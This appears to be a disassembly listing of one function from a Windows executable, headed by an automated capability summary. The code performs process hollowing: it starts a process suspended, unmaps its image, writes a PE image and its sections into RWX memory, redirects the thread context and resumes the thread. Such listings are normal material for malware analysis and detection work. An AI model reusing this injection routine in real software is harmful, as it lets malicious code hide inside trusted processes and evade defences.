Function at 0x140011082
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread
Use process replacement

Disassembly:
jmp 0x14003aec0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
mov rax, qword [0x14001cf80]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, [0x14004b1bc]
call fcn.140011541
nop
mov qword [rbp + 8], 0
lea rcx, [0x14001f3c4]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14003af3b
xor eax, eax
jmp 0x14003b2e1
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14003b2df
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x3e8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x4550
jne 0x14003b2df
lea rax, [rbp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0xa0]
call fcn.140011429
nop
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x68]
call fcn.140011429
nop
lea rax, [rbp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14003b2df
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14003b2b2
mov rax, qword [rbp + 0x128]
add rax, 0x88
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x168], 0
mov rax, qword [rbp + 0x148]
mov rax, qword [rax]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x168]
mov rdx, rax
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
nop
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 0x30]
cmp qword [rbp + 0x168], rax
jne 0x14003b0f2
lea rdx, [0x14001f3d0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x188], rax
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x188]
nop
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0x48]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
je 0x14003b2b2
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x3e8]
mov rdx, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rbp + 0x1e8], 0
jmp 0x14003b17b
mov rax, qword [rbp + 0x1e8]
inc rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 6]
cmp qword [rbp + 0x1e8], rax
jae 0x14003b213
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x3e8]
add rcx, rax
mov rax, rcx
imul rcx, qword [rbp + 0x1e8], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x1c8]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x3e8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x1c8]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0x1a8]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
jmp 0x14003b16a
mov rax, qword [rbp + 0x48]
add rax, 0x30
mov rcx, qword [rbp + 0x148]
mov rcx, qword [rcx]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov rax, qword [rbp + 0x128]
add rax, 0x80
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x28]
mov ecx, dword [rbp + 0x1a8]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rbp + 0x208]
mov qword [rcx], rax
lea rdx, [0x14001f3f0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x228], rax
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x70]
call qword [rbp + 0x228]
nop
mov rax, qword [rbp + 0x3f0]
mov rcx, qword [rbp + 0x70]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x14003b2cd
mov dword [rbp + 0x3b4], 1
jmp 0x14003b2d7
mov dword [rbp + 0x3b4], 0
mov eax, dword [rbp + 0x3b4]
jmp 0x14003b2e1
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001f380]
call fcn.140011488
mov rax, rdi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.14001128f
lea rsp, [rbp + 0x3c8]
pop rdi
pop rbp
ret